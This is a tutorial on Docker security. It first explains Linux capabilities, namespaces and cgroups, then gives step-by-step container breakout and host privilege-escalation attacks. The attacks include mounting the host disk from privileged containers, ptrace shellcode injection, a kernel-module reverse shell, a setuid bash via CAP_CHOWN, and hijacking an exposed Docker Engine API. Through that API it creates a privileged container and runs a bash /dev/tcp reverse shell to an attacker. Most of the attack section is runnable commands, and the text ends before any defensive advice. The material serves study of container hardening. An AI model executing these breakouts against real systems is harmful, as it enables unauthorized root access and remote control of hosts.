Docker Security

Contents

Abstract

In the first part (Section 1, Section 2 and Section 3) we will take a look at the main underlying technologies of Docker container, to better understand from where some of the main vector of attacks came from. So, we will "deeply" talk about Linux capabilities, Linux Namespaces and Linux Cgroups. Then, in the second part (Section 4), we will have an overview of what is Docker security, so, we will describe how the underlying technology of Docker (namespaces, cgroups) interact with it, how the Docker deamon is the main vector of attacks and so on. In the third part (Section 5) we will look at some example of attacks exploiting some common vulnerabilities and misconfigurations like privilege escalation, DoS attack, Remote Command execution etc. Finally, in the fourth part (...) I will present some best practices to secure Docker containers.

Happy Reading

1. Linux Capabilities

For the purpose of performing permission checks, traditional UNIX implementations distinguish two categories of processes: **privileged** (UID=0, referred to as *superuser* or *root*), and **unprivileged** processes (UID different from 0). Privileged processes bypass all kernel permission checks, while unprivileged processes are subject to full permission checking based on the process's credentials (UID, GID, and supplementary group list). Starting with Linux Kernel 2.2, Linux divides the privileges traditionally associated with superuser into distinct units, known as **capabilities**, which can be independently enabled and disabled. Capabilities are a per-thread attribute.

Some of interesting capabilities are: `CAP_NET_ADMIN`, which enable performing various network-releated operations (interface configuration, admninistration of IP firewall, modify routing table, bind to any address for transparent proxying, set promiscuous mode and enable multicasting); `CAP_NET_BIND_SERVICE`, which enable binding a socker to a Internet domain privileged ports (number less 1024); `CAP_SETGID`, which allow to make arbitrary manipulations of processes GIDs and supplementary GID list, forge GID when passing socket credentials via UNIX domain sockets and write a group ID mapping in a user namespace; `CAP_SETUID`, which allow to make arbitrary manipulations of processes UIDs and supplementary UID list, forge UID when passing socket credentials via UNIX domain sockets and write a user ID mapping in a user namespace; `CAP_SYS_ADMIN`, which allow to perform a range of system administration operations including `mount`, `unmount`, `sethostname` and `setdomainname`, and perform also many privileged operations; `CAP_SYS_TTY_CONFIG`, which allow to employ various privileged `ioctl` operations on virtual terminals; `CAP_SYS_MODULE`, which to allow to call kernel module.

> Don't choose CAP_SYS_ADMIN if you can possibly avoid it! A vast proportion of existing capability checks are associated with this capability. It can plausibly be called "the new root", since on the one hand, it confers a wide range of powers, and on the other hand, its broad scope means that this is the capability that is required by many privileged programs. Don't make the problem worse. The only new features that should be associated with CAP_SYS_ADMIN are ones that closely match existing uses in that silo.

2. Linux Namespaces

A *namespace* wraps a global system resource in an abstraction that makes it appear to the processes within the namespace that they have their own **isolated** instance of the global resources. Changes to the global resource are visible to other processes that are members of the namspace, but are invisible to other processes. One use of namespaces is to implement containers. There exists different namespaces in Linux.

2.1. Mount Namespace (MNT)

Mont namspace provides isolation of the list of mount points seen by the processes in each namespace instance. Thus, the processes in each of the mount namespace instances will see distinct single-directory hirearchy. A new mount namespace is created using either `clone` or `unshare` with the `CLONE_NEWNS` flag. When a new mount namespace is created, its mount point list is initialized as follows:

1. If the namespace is created using `clone`, the mount point list of the child's namespace is a copy of the mount point list in the parent's namespace;
2. If the namespace is created using `unshare`, the mount point list of the new namespace is a copy of the mount point list in the caller's previous mount namespace.

Subsequent modifications to the mount point list (`mount` or `unmount`) in either mount namespace will not (by default) affect the mount point list seen in the other namespace. If the new namespace and the namespace from which the mount point list was copied are owned by different user namespaces, then the new mount namespace is considered **less privileged**. When creating a less privileged mount namespace, shared mount are reduced to *slave* mounts. This ensures that mappings performed in less privileged mount namespaces will not propagate to more privileged mount namespace.

In docker, when a container is runned with an attached volume `docker run --rm -it -v vol:path alpine:3.14` we can effectly see that, that particular mount moint is shared between the new docker namespace and the host namespace. In fact, if we run from docker the docker container the command `cat /proc/$$/mountinfo` we can see that the mount point in the container has the field `master:X`, where `X` is the peer group for that mount point. This mean that the mount in the docker container is the *slave* to a shared peer group `X`, and this shared mount point is the one created in the host namespace using `docker volume create vol`. In fact, if from the host machine terminal we give `cat /proc/$$/mountinfo` we can see that the mount point has the field `shared:X`, which means that this mount point is the one that is shared in peer group `X`.

2.2. InterProcess Communication Namespace (ICP)

IPC namespaces isolate certain IPC resources, namely, *System V IPC object* and *POSIX* message queues. The common characteristic of these IPC mechanism is that IPC objects are identified by mechanisms other than filesystem pathnames. Each IPC namespace has its own set of System V IPC identifiers and its own POSIX message queue filesystem. Objects created in an IPC namespace are visible to all other processes that are memeber of that namespace, but are not visible for outside processes. Whan an IPC namespace is destroyed (i.e., when the last proces that is a member of the namespace terminates), all IPC objects in the namespace are automatically destroyed. The flag used is `CLONE_NEWIPC`.

2.3. Network Namespace (NET)

Network namespaces provide isolation of the system resources associated with networking: network devices, IPv4 and IPv6 protocol stacks, IP routing table, firewall rules, the `proc/net` directory (a sym link to `proc/PID/net`), port numbers and so on. In addition, network namespaces isolate the UNIX domain abstract socker namespace. A physical network device can live in exaclty one network namespace. When a network namespace is freed, its physical network devices are moved back to the initial network namespace (not to the parent of the process).

We can create a tunnels between network namespaces, using a virtual network device pair, and can be also be used to create a bridge to a physical network device in another namespace. This is essentially what the `-p 80:80` command option of `docker run` does. Whan a namespace is freed, the virtual network device that it contains are destroyed. The flag used is `CLONE_NEWNET`.

2.4. PID Namespace

PID Namespace isolate the process ID number space, meaning that processes in differnet PID namespaces can have the same PID. PID namepsaces allow container to provide functionality such as suspending/resuming the set of processes in the container and migrating the container to a new host while the processes inside the container maintain the same PIDs. PIDs in a new PID namespace start at 1, somwhat like a standalone syste, and call to `fork`, `clone` or `vfork` will produce processes with PIDs that are unique within the name-space.

PID namespaces can be nested: each PID namespace has a parent, except for the initial ("root") PID namespace. The parent of a PID namespace is the PID namespace of the process that created the namespace using `clone` or `unshare`. PID namespaces thus for a tree, with all namespaces ultimately tracing their ancestory to the root namespace. A process is visible to other processes in its PID namespace, and to processes in each direct ancestor PID namespace going back to the root PID namespace. In this context, *visible* means that one process can be the target of operations by another process using system calls that specify a process IP. The flag used is `CLONE_NEWPID`.

2.5. User Namespace

User namespaces isolate security-related identifiers and attributed, in particular, user IDs and group IDs, the root directory, keys, and *capabilities*. A process's user and group IDs can be different inside and outside a user namespace. In particular, a process can have a normal unpriviledged user outside a user namespace whie at the same time having a user ID of 0 inside the namespace; in other words, the process has full privileges for operation inside the user namespace, but is un-priviledge for operations outside the namespace.

User namespaces can be nested; that is, each user namespace - except the intial ('root') namespace - has a parent user namespace, and can have zero or more child user namespaces. The parent user namespace is the user namespace of the process that creates the user namespace via a call to `unshare` or `clone` using the `CLONE_NEWUSER` flag. Each process is a member of exactly one user namespace. A process created via `fork` or `clone` without the `CLONE_NEWUSER` flag is a member of the same user namespace as its parent. A single-thread process can join another user namespace if it has the `CAP_SYS_ADMIN` in that namespace; upon doing so, it gains a full set of capabilities in that namespace.

The child process created with the `CLONE_NEWUSER` flag starts out with a complete set of capabilities in the new user namespace. Likewise, a process that creates a new user namespace gains a full set of capabilities in that namespace. On the other hand, that process has no capabilities in the parent or previous user namespace, even if the new namespace is created or joined by the root user. Note that a call to `execve` will cause a process's capabilities to be recalculated in the usual way (see Section 2). Consequently, unless the process has a user ID of 0 within the namespace, or the executable file has a nonempty inheritable capabilities mask, the process will lose all capabilities. In general a process has a capability inside a user namespace if it has a member of that namespace and it has the capability in its effective capability set. A process can gain capabilities in its effective capabilitiy set in various ways. For example, it may execute a `set-user-ID` program or an executable with associated file capabilities. In addition, a process may gain capabilities via the effect of `clone` or `unshare`.

Effect of capabilities within a user namespace

Having a capability inside a user namespace permits a process to perform operations (that require privilege) only on resources governed by that namespace. In order words, having a capability in a user namespace permits a process to perform privileged operations on resources that are governed by (nonuser) namespaces owned by (associate with) the user namespace. On the other hand, there are many privileged operations that affect resources that are not associated with any namespace type, for example loading kernel module (capability `CAP_SYS_MODULE`, see Section 1). Only a process with privileges in the initial user namespace can perform such operations.

Holding `CAP_SYS_ADMIN` within the user namespace that owns a process's mount namespace allows that process to create *bind mounts* and mount of the following types of filesystems: `/proc`, `/sys`, `overlayfs`. Holding, `CAP_SYS_ADMIN` within the user namespace that owns a process's **cgroup** namespace allows that process to the mount the cgroup version 2 filesystem and cgroup version 1 named hierarchies (i.e., cgroup filesystem mounted with the `none,name=` option). Note, however, that mounting blocked-based filesystems can be done only by a process that holds `CAP_SYS_ADMIN` in the initial user namespace.

Starting in Linux 3.8, unprivileged processes can create user namespaces, and the other types of namespaces can be created with just the `CAP_SYS_ADMIN` capability in the caller's user namespace. If `CLONE_NEWUSER` is specified along with other flags in a single `clone` or `unshare` call, the user namespace is guaranteed to be created first, giving the child (with `clone`) or caller (`unshare`) privileges over the remaining namespaces created by the call. Thus, it is possible for an unprivileged caller to specify this combination of flags.

When a new namespace is created, the kernel records the user namespace of the creating process as the owner of the new namespace. When a process in the new namespace subsequently performs privileged operations that operate in the global resources isolated by the namespace, the permission checks are performed according to the process's capabilities in the user namespace that the kernel has associated with the new namespace.

---

3. Linux Control Groups (Cgroup)

Cgroups (abbreviated *control group*) is a Linux Kernel feature that limits, accounts for, and isolates the resource usage (CPU, RAM, disk I/O, network, etc) of a collection of processes. One of the design goals of cgroups is to provide a unified interface to many different *use cases*, from controlling single process to full operating system-level virtualization. Cgroups provides:

- **Resource limitations**, groups do not exceed a configured memory limit
- **Prioritizing**, some groups may get a larger share of CPU utilization (or IO)
- **Accounting**, mesures group's resource usage
- **Control**, freezing groups of process, their checkpoint and restarting.

So, basically you use cgroups to control how much of a given key resource can be accessed or used by a process or set of processes. Cgroups are key component of containers because there are often multiple process running in a container that you need to control together. In a Kubernetes environment, cgroups can be used to implement resource request and limits and corresponding QoS classes at the pod level. There are two version of cgroups and among the many changes in version 2, the big ones are a much simplified tree architecture, new features and interfaces in the cgroup hierarchy, and bettere accomodation of "rootless" containers.

---

4. Basics of Docker Security

After having understood what Linux namespaces, Cgroup and capabilities are, let's see how they take roles when spawing a new Docker container and how they are involved as major part of the security of a Docker container. Four major areas to consider when talking about *Docker Security*:

1. the intrinsic security of the **kernel** and its support for *namespaces* and *Cgroups*;
2. the attack surface of the *Docker deamon* itself;
3. loopholes in the container configuration profile, either by deafult, or when customized;
4. the *hardening* security features of the kernel and how they interact with containers.

4.1. Kernel namespaces

When we start a container with the command `docker run`, behind the scenes Docker creates a set of namespaces and control groups for the container. We can see this just by following the system call trace made by Docker, more precisely by `dockerd`. `dockerd` is the persistent process that manages container, the so-called **Docker Deamon**. Then, `dockerd` automatically starts `containerd` (basically a runtime that provide everything we need to build a container platform without having to deal with the underlying OS details). To get the trace we can just use the command

```
sudo strace -f -p `pidof containerd` -v -s 100 -o strace_log
```

Then we just can start the container with the usual command

```
docker run --rm -it -p 4444:4444 alpine:3.15.4
```

Having look at the file `strace_log` we can see the following line

```
unshare(CLONE_NEWNS|CLONE_NEWUTS|CLONE_NEWIPC|CLONE_NEWPID|CLONE_NEWNET ...
```

The `unshare` command just creates new namespaces and run a program (in this case our Docker container) in that namespaces. As we have said in previous sections, namespaces provide the first and most straightforward form of isolation: processes running within a container cannot see, and even less affect, processes running in another container, or in the host system. Since we have the flat `CLONE_NEWNET` in the `unshare` call, each container also gets its own network stack, meaning that a container doesn't get privileged access to the sockets or interfaces of another container. Of course, if the host system is setup accordingly, containers can interact with each other through their respective network interfaces - just like they can interact with external hosts. When we specify public port (i.e., bind them to host's port) or use *links* then IP traffic is allowed between containers. They can ping each other, send/receive UDP packets, establish TCP connections, but that can be restricted if necessary.

4.2. Control groups

Cotrol Groups are another key component of Linux Containers. They implement, as we have said, resource accouting and limiting. They provide help to ensure that each container gets its fair share of memory, CPU, disk I/O; and more importantly, that a single container cannot bring the system down by exhausting one of those resources. Looking always to the `strace_log` created previously, we can see the system call

```
unshare(CLONE_NEWCGROUP ...
```

So, while they do not play a role in preventing one container from accessing of affecting the data and processes of another container, they are essential to fend off some DoS (*Denial-of-Service*) attacks.

4.3. Docker Daemon Attack Surface

Running container (and applications) with Docker implies running the Docker Deamon (i.e., `dockerd` essentially). This deamon requires *root* privileges unless we don't use the *Rootless* mode, and we should therefore be aware of some important details. By default when we install Docker, for instance on a Linux platform, using `sudo apt-get install -y docker.io`, then to execute any Docker command we need to be root in the system, unless we add our current user to the `docker` group with `sudo groupadd -aG docker <username>`. From now on, we can run docker commands also if we are not root. However, this does not mean that the Docker Deamon does not run using the privileged user, that's beacause it needs to do system calls that only the root can do. This leads, indeed, to a lot of vulnerabilities that are not due to Docker itself, but mostly they are carried out from misconfigurations done by users that create, build and run a Docker image.

Docker is a powerfull tool, and it provides to the user the capability to do everything he wants either being safe or not. For instance, Docker provide us the capability to share a **any** portion of the host filesystem with the container using volumes or bind mounts. This means that we can mount the entire host's filesystem on the container just running `docker run -v /:/path ...`. Now, the container can alter the host filesystem without any restriction, but in particular it bypasses the namespace isolation since we can see everything (processes, password, network interface, open ports, etc.) we need to carry out an attack. This is also called **Docker breakout**. For this reason, only trusted users should be allowed to control the Docker deamon.

Docker provides an API for interacting with the Docker deamon (called Docker Engine API). This API is a REST API accessed by an HTTP client such as `wget` or `curl`, or the HTTP library which is party of most modern programming language. The Docker deamon can listen for Docker Engine API requests via three different types of Socker: `unix`, `tcp` and `fd`. By default the REST API endpoint uses a UNIX domain socket created at `/var/run/docker.sock`, instead of a TCP socket bound on 127.0.0.1. This because the latter is prone to CSRF attacks if happen to run Docker directly on a local machine, outside a VM. However, if we need to access the Docker deamon remotely, we can do this enabling the TCP socket. To listen on port a specific port, for instance 2375, on all network interfaces we give `docker -H tcp://0.0.0.0:2375` otherwise for a specific interface `docker -H tcp://ip-addr:2375`. Note, that is conventional used 2375 for un-encrypted and 2376 for encrypted communication with the deamon. However, changing the default Docker deamon binding to a TCP port or Unix docker user group will increase security risks by allowing non-root user to gain access as root on the host. Even if we have a firewall to limit access to the REST API endpoint from other hosts in the network, the endpoint is still accessible from the container, and it can be easily result in privilege escalation. Thus, we need to beware of this, since the default set-up provides un-encrypted and un-authenticated direct access to the Docker deamon - and should be secured either using the HTTPS encrypted docker (keep in mind to use TLS1.0 and greater, not SSLv3 or under), or by putting a secure web proxy in front of it.

Basically, exposing the Docker deamon both to the network and to untrusted users, leads to a lot of vulnerabilities being the principal vector for carrying out a lot Docker breakout attacks.

4.4. Linux Kernel Capabilities

By default, Docker starts containers with a restricted set of capabilities. This means a lot for container security. These are the capabilities provided to a user in the container namespace

```
CAP_CHOWN,    CAP_DAV_OVERRIDE, CAP_FSETID,       CAP_FOWNER,   CAP_MKNOD,
CAP_NET_RAW,  CAP_SETGID,       CAP_SETUID,       CAP_SETFCAP,  CAP_SETPCAP,
CAP_KILL,     CAT_SYS_CHROOT,   CAP_AUDIT_WRITE,  CAT_NET_BIND_SERVICE
```

This means that in most cases, container do not need real root privileges at all. And therefore, containers run with a reduced capability set; meaning that root within a container has much less privileges than the real root. For instance it is possible to: deny all mount operations (we need the `CAP_SYS_ADMIN` capability); deny access to raw sockets (to prevent packet spoofing); deny access to some filesystem operations like creating new device node or changing the owner of files; deny module loading; and many others. This means that even if an intruder manages to escalate to root within a container, it is much harder to do serious damage, or to escalate to the host.

However, since on primary risk with running Docker containers is that the default set of capabilities and mounts given to a container may provide an incomplete isolation, Docker supports the addition or removal of capabilities, allowing use of a non-default profile. We will talk about this in the last section.

4.5. Docker Signature Verification

The Docker Engine can be configured to only run signed images. The *Docker Content Trust Signature Verification* feature is built directly into the `dockerd` binary. This is configured in the Dockerd configuration file. This feature provides more insight to administrators than previously available with the CLI for enforcing and performing image signature verification. This is one of the principal way of decreasing the number of attacks vector, since it implies to use only trusted images. In fact, using trusted images means we are guaranteed that these images do not contains any malicious code that it would be able to make serious damage directly on the host machine. However, even using trusted images, containers running on top of them are exposed to attacks that are directly provided by vulnerability of the base image. Also for this, we will talk about later.

4.6. Other Kernel Security Features

Capabilities, namespaces and cgroups are just some of the many features provided py the Linux Kernel to secure our container. It is also possible to leverage exists, well-known systems like *AppArmor*, *SELinux* or other kernel features like *Seccomp* to add more security levels to containers. Also for this, we will talk about later.

5. Vulnerability Exploitation

In this section we will talk about some important attack vectors caused by very worst practicies that, indeed, leads to a significant number of vulnerabilities.

5.1. Escaping Docker

Let's talk about capabilities. As we have seen, capabilities are very important since they fragment the ability to manipulate sensitive informations of a system. Any user that has the correct capability can do whatever he want, just like the root user. For example, if we give to a normal user the `CAP_SYS_ADMIN` capability, it will be able to mount any filesystem he wants. This is, indeed, one important attack vector to Docker breakout and privilege escalation. In this section we are going to explore different techniques to escape from a container and reach the underlying host machine directly with root privileges. This bunch of techniques are called **Docker Breakouts**.

5.1.1. Mounting host HDD

Let us assume we are provided a shell inside a container, which current user has the `CAP_SYS_ADMIN` capability. For this example just run a simple container with

```
$ docker run --rm -it --privileged ubuntu:20.04
```

Note the `--privileged` flag. It means that the user inside the container will have every possible capability, including the `CAP_SYS_ADMIN`. Once we are inside the container, the pipeline is the following:

1. Update the repository and install `libcap2-bin` to check capabilities
2. Check if the `CAP_SYS_ADMIN` capability is enabled for the user
3. Find the name of the device that mounts the host filesystem (e.g. `/dev/sdaX`)
4. Mount the host filesystem on another directory
5. Change the root directory and execute `bash`

```
(docker) $ apt update && apt install -y libcap2-bin
(docker) $ capsh --print
(docker) $ fdisk -l
(docker) $ mount /dev/sda1 /mnt/fs
(docker) $ chroot /mnt/fs bash
```

Once finished, we have escaped the container namespace and now we are root of the host system. Notice that we are still inside the container. However, mounting the entire directory tree of the host filesystem, that we can found in `/dev/sda1` (not always, but in general the prefix is /dev/sdXY), in a directory inside the container, in this case `/mnt/fs`, give to us access to everything outside the container, that we can manipulate inside the container. Finally, changing the root directory of the host filesystem, to a directory of our filesystem, and since we are root inside the container, we are now root of the entire system no matter namespaces or other isolation techonologies.

5.1.2. SSH to host and Visualizing processes

From the previous example, we can notice something. If we run `ps -eaf` we can see all the processes, but we don't see the ones of the host machine. Why? First of all, once we gain access to the host machine inside the container we cannot even see any process, that's because first we must mount the `proc` filesystem using `mount -t proc proc /proc`. Even, after this we don't have access to host's processes. So, what can we do? We have in somehow to really escape from the container and gain a shell in the host machine. Let's see how. Many time, a usual practice when running container for a web server, for example, is to run in *detach* mode. Whenever, we want to access to the container, we can simple setup an ssh connection and then connect to the container shell. However, if we run the container with the wrong set of capabilities, that's can be a problem. Let me show to you why. For this example, the host machine has run

```
$ systemctl start ssh
$ docker run --rm -d -i --privileged ubuntu:20.04
```

Let us assume we have gained a shell inside the container, this is the pipeline

1. Update the repository and install required tools
2. Check for `SYS_CAP_ADMIN` and `SYS_NET_ADMIN`
3. Find the name of the device that mounts the host filesystem
4. Mount the host filesystem on another directory
5. Obtain the IP address of the docker container
6. List open ports on the Gateway IP
7. Start an SSH server
8. Create a new dummy user chrooting on the host filesystem
9. Gives to the dummy user sudo privileges
10. Establish a SSH connection
11. Gain root privileges
12. Look at the entire list of processes of the host machine

```
(docker) $ apt update && apt install -y netcat net-tools \
                                        openssh-server \
                                        libcap2
(docker) $ capsh --print
(docker) $ fdisk -l
(docker) $ mount /dev/sda1 /tmp
(docker) $ ifconfig
(docker) $ nc -vn -w2 -z 172.17.0.1 1-65536 2>&1 | grep succeeded
(docker) $ service ssh start
(docker) $ chroot /tmp adduser dummy
(docker) $ chroot /tmp usermod -aG sudo dummy
(docker) $ ssh dummy@172.17.0.1
(docker) $ sudo -s
(docker) $ ps -aef
```

Notice one important thing: when we have scanned for open ports, we have used the IP address of the gateway, not the one of the container with respect to the host, i.e., `172.17.0.2`. That's because the default network is indeed a bridge between the container and the host machine, through which we cannot directly communicate, unless there are no open ports. In this case we had an open, i.e., the port `22` for the `ssh` service. We can easily see this inspecting the devices of the host system with `ip a` and then looking for the device docker0 with IP address 127.17.0.1. The same thing can be done inside the container using netstat -ar, and looking for the column GATEWAY.

5.1.3. Process Injection

In this example we see another method to escape from the isolation of the Docker container and gain a directly access to the host machine. Here, we will exploit three vulnerabilities: (1) the container user has the capability SYS_PTRACE; (2) the host machine has an HTTP server listen on the port 80; (3) the container isn't isolated with respect to the PID namespace. To be more clear, this capability has a lot of impact in the execution of a process, since it allow the user of the container to execute the system call ptrace. Essentially, a process that call ptrace has the ability to manipulate the registries of another process. For this reason, it is often used for debugging purpose (for example by gbd), e.g., setting breakpoints and inspect registries. For now, what really matter is the fact that we, from the container, we have the capability of manipulating every host process and inject a *shellcode*. A shellcode is a special assembly instruction (or a bunch of instructions) written in hexadec that is (usually) used to spawn a shell. There exists two types of shell spawing: *local* or *remote*. In this case we are going to bind a local shell on the host machine listening for a connection on a specific port, and from the container we will just connect to it. So, let's the show begin. In the host side we run

```
$ python3 -m http.server 80 &  # To start a HTTP server
$ docker run --rm -it --privileged --pid=host ubuntu:20.04
```

From inside the container let's run this pipeline

1. Update the repository and install required tools
2. Check for the SYS_PTRACE capability
3. Write the C code to inject a shellcode in the HTTP process
4. Compile the source code
5. Search for PID of the server process
6. Run the exploit given the PID
7. Get the IP of the container and the Gateway
8. Connect with the shell of the host

```
(docker) $ apt update && apt install -y libcap2-bin \
                                        build-essential \
                                        netcat net-tools \
                                        nano
(docker) $ capsh --print
(docker) $ nano inject.c
(docker) $ gcc inject.c -o inject
(docker) $ ps -eaf | grep python
(docker) $ ./inject <PID>
(docker) $ ifconfig
(docker) $ nc 172.17.0.1 5600
(docker) $ export TERM=xterm  # Stabilizes the terminal
```

This was possible due to a misconfigurations of the PID namespace. Since we have binded the PID namespace of the container with the one of the host machine, we were able to see every executing process of the host. This is something that we never want to do, since it relaxes the isolation of the container.

5.1.4. Kernel Module Reverse Shell

Let's continue to exploit additional capabilities given by the container: here we use `SYS_MODULE`. This capability allow us to write, compile and execute a new kernel module. This new module contains a local reverse shell from the IP `172.17.0.1` (the gateway to the host) to the IP of the container itself `172.17.0.2`. In this case the reverse shell is a simple bash command execution

```
/bin/bash -c 'bash -i >& /dev/tcp/172.17.0.2/4444 0>&1'
```

So, let's the show begin. From the host side just run

```
docker run --rm -it --cap-add=SYS_MODULE                 \
                    --mount type=bind,source=/,target=/  \
                    ubuntu:20.04
```

From the container we just need to run this pipeline

1. Update repository and install required tools
2. Check for the `SYS_MODULE` capability
3. Check the IP address of the host machine
4. Write the kernel module
5. Write the Makefile
6. Run the makefile
7. Run a background listener on port 4444 using netcat
8. Run the kernel module
9. Retrieve the background connection

```
(docker) $ apt update && apt install -y build-essential \
                                        net-tools       \
                                        libcap2         \
                                        netcat          \
                                        nano
(docker) $ capsh --print
(docker) $ ifconfig
(docker) $ nano kernel_rrshell.c
(docker) $ nano Makefile
(docker) $ make
(docker) $ nc -lvnp 4444 &
(docker) $ insmod kernel_rrshell.ko
(docker) $ fg
```

For the purpose of this example I voluntary mounted the entire host file system on the docker root filesystem. However, this type of attack can be done whenever a process inside the Docker container needs to modify a kernel module ... (not a good practice at all indeed). In this case, to do this we need to give the SYS_MODULE capability to the container. Finally, I choose the give only this capability to show that we don't need all the SYS_ADMIN capabilities to be able to carry out some Docker escape attack.

5.2. Docker Host Attack

While in the previous section we have seen how to escape from a Docker Container and simultaneously gaining root privileges inside the host machine, in this section we are going to explore four different methods of doing privileges escalation exploiting containers. That is, assuming we gained access to the host machine that has some important privileges, we can create containers and use the previous explained techniques to escape from these containers and gain root privileges. The first techinque leverage the `containerd` runtime, while the second `runC`. For the third technique, we are going to assume that we are logged in a system which has docker installed, but with a user that is not capable of running privileged containers. Finally, we have a different settings for the fourth techniques: assuming that the attacker and the victim machine can communicate, we can leverage an exposed tcp Docker Deamon to do some, what I called, *Remote Docker Execution* (Remote Command Execution + Docker Container). Obviously, there is another method, but I don't want to insert in this section since it is very straightforward: if the user of the victim machine is in the docker group we can run a privileged container with the host filesystem mounted on it and then we can chroot breaking out the container and being root of the system.

5.2.1. Leveraging Containerd

Assume having gained access to the victim machine, but without root privileges. As usual, we have to use privilege escalation techniques to gain this privileges. For some reasons docker is not even installed on the system, or it was and then it has been removed but maintaining the underlying runtime, the `containerd`. `containerd` is a high-level runtime that facilitates the process of running containers, and it is used by the Docker deamon to run containers. Since, containerd is divided from Docker, it has its set of pulled images. We can use one of them to run a container, and we can indeed download other images from Docker Registries or other sources. The containerd runtime CLI can be accessed using the command `ctr`. So, the idea is very easy: check for images; run a container from one of these images with the host filesystem mounted into the container; finally, uses the container breakout techniques previously seen.

```
$ ctr image list  # List images
$ ctr run --mount type=bind,src=/,dst=/,options=rbind -t {IMAGE} {ID} bash
# ID = whatever u want
(containerd) $ escape
```

In this case `escape` is symbolic since we are in a container with the host filesystem mounted directly on the entire container filesystem, thus we already are root.

5.2.2. Leveraging RunC

This setting is exactly the same of the previous example, except that in this case we have `runc` instead of `containerd`. This is pretty interesting, since `containerd` runs `runc`, that is a low-level container runtime.

In order to run container with `runc` we need to have a container in the format of an OCI bundle with a specification on how run the container. After this we can run the container and do like in the previous example.

```
$ mkdir bundle
$ cd bundle
$ runc spec  # Generate the a simple templace called config.json
$ vim config.json
# Here we want to add config to mount host file system.
# We want to add this inside the "mounts" entry of the JSON
# {
#     "type": "bind",
#     "source": "/",
#     "destination": "/",
#     "options":["rbind","rw","rprivate"]
# }
$ mkdir rootfs  # create the dir to be used as container filesystem
$ runc run demo
(runc) $ escape
```

5.2.3. Privesc with Non-Privileged Container

Let us assume that we have gained access to a remote machine with a general common user, that it is able to run docker containers but only in a non-privileged way. Running containers without the `--privileged` flag means that the root of the container has a limited set of capabilities. However, in this case the only capability that we need inside the container is `CAP_CHOWN`, that is available also for non-privileged containers. The pipeline is the following:

1. Copy the `/bin/bash` binary in the `/tmp` directory of the host system
2. Run a non-privileged docker containers mounting `/tmp` on a directory inside the container
3. Change the owner of the binary in `root:root`
4. Set the SETUID bit for the binary
5. Exit the container and run the binary in the `/tmp` directory

```
$ cp /bin/bash /tmp
$ docker run -it -v /tmp:/mnt/host ubuntu bash
(docker) $ cd /mnt/host
(docker) $ chown root:root bash
(docker) $ chmod u+s bash
(docker) $ exit
$ cd /tmp
$ ./bash -p
```

In this case the entire job is done exploiting the `CAP_CHOWN` capability and the SETUID bit. Recall that the SETUI bit on a file gives to a user, that already has enough permission to run that file, additional capabilities inherited from the owner of that file, in this case the *root*.

5.2.4. Leveraging Docker REST API

Docker provides an API for interacting with the Docker Deamon, called **Docker Engine API**, and it is a RESTful API accessed by an HTTP client such as `wget` or `curl`, or the HTTP library which is part of most programming languages. Using the API we can do a lot of operations like: list all containers, creates new containers, list processes running inside a container, start/stop/restart a container and so on ... As we know, from an external host we can communicate with the Docker Deamon of the victim machine via the `tcp` socket, using the port 2375 (for un-encrypted communication) or 2376 (for encrypted communications). Having understood what we are able to do with the Docker REST API, I claim that this is an *important attack vector*, under some conditions that we are gonna see later.

> **It is the most dangerous vulnerability**

Here's an example of *List Containers*

```
# For UNIX socket
$ curl --unix-socket /var/run/docker.sock http://localhost/containers/json

# For TCP socket
$ curl http://localhost:2375/containers/json
```

By defaults it lists only those containers that are running. For this reason, if we wanna look at also to non-running containers we need to set an additional parameter to the request query saying `all=true`. This is the complete request

```
$ curl ... http://localhost/containers/json?all=true
```

We can also replace `localhost` with the IP address of the victim under the condition that the Docker deamon can be reached via a TCP connection. This is the only way to exploit this attack vector. To accept connections for the docker deamon via Internet, we can do

```
# Method 1. Directly use the TCP socket
$ systemctl stop docker
$ dockerd -H unix:///var/run/docker.sock -H tcp://0.0.0.0:2375

# Method 2. Use the Unix-Socket and bind it to a TCP port
$ sudo apt-get install -y socat
$ systemctl stop docker
$ dockerd -H unix:///var/run/docker.sock
$ socat -d -d TCP4-LISTEN:2375,fork UNIX-CONNECT:/var/run/docker.sock
```

Once the victim machine is setup, we can start with the real attack. The pipeline is the following:

1. Check if there exists an ubuntu image in the host machine
2. If no, then we have to pull an existing one

3. Create a new container using the previous image
4. Start the created container
5. Start a reverse shell to the attacker machine
6. Escape

Note that, differently from all previous attacks, we don't need to rely on an already running container. We just need that the victim has docker installed with the Docker deamon listening on a port. To find on which port we can just run

```
$ nmap -sT <ip-addr> -p-

# Output example
# ...
# PORT     STATE SERVICE
# 2375/tcp open  docker
# ...
```

Step 1 - Check if there exists any ubuntu image in the host machine

This is the command to run

```
$ curl -XGET http://{ip}:{port}/images/json | grep ubuntu

# Output example
# [{"Containers":-1,"Created":1654554086
"Id":"sha256:27941809078cc9b2802deb2b0bb6feed6c236cde01e487f200e24653533701
ee","Labels":null,"ParentId":"","RepoDigests":
["ubuntu@sha256:b6b83d3c331794420340093eb706a6f152d9c1fa51b262d9bf34594887c
2c7ac"],"RepoTags":
["ubuntu:latest"],"SharedSize":-1,"Size":77819423,"VirtualSize":77819423}]
```

we have to see the field `RepoTags` that in this case contains `ubuntu:latest`. In the eventuality there is no image, we go to the second step.

Step 2 - Pull an existing image

This is the command to run

```
$ curl -XPOST http://{ip}:{port}/images/create?fromImage=ubuntu
```

Step 3 - Create a new container

This is the command to run

```
$ curl -XPOST http://{ip}:{port}/containers/create?name={name} \
       -H "Content-Type: application/json" \
       -d '{"Image":"ubuntu:latest","HostConfig" : {
               "Privileged":true,
               "AutoRemove":false,
               "Mounts": [{
                   "Target": "/mnt/fs",
                   "Source": "/"
                   "Type": "bind",
                   "ReadOnly": false
               }]
           },
           "NetworkDisabled":false,
           "Entrypoint": ["tail", "-f", "/dev/null"]
       }'

# Output Example
# {"Id":"60d92a598cbf4549620a2b843313ed250a9586a798d46fcec7673da4582de831","Warnings":[]}
```

Step 4 - Start the container

This is the command

```
$ curl -XPOST http://{ip}:{port}/containers/{id}/start
```

Step 5 - Start a reverse shell

Using the `exec` command we can execute a command inside the created and running container. In this case the command that we wanna run is the same used for the Kernel Module, but obviously we need to change the IP and the destination port with the ones on which we are listen on. This is the entire call to the Docker Engine API

```
$ curl -XPOST http://{ip}:{port}/containers/{id}/exec \
       -H "Content-Type: application/json" \
       -d '{"Cmd" : [
              "/bin/bash",
              "-c",
              "''bash -i >& /dev/tcp/{ip-a}/{port-a} 0>&1''"
          ]}'

# Output Example
# {"Id":"e60d69d8c129f2aa69c899d2127142ec36f82bb0bd6a7c2f43a4a7af19e0c816"}
```

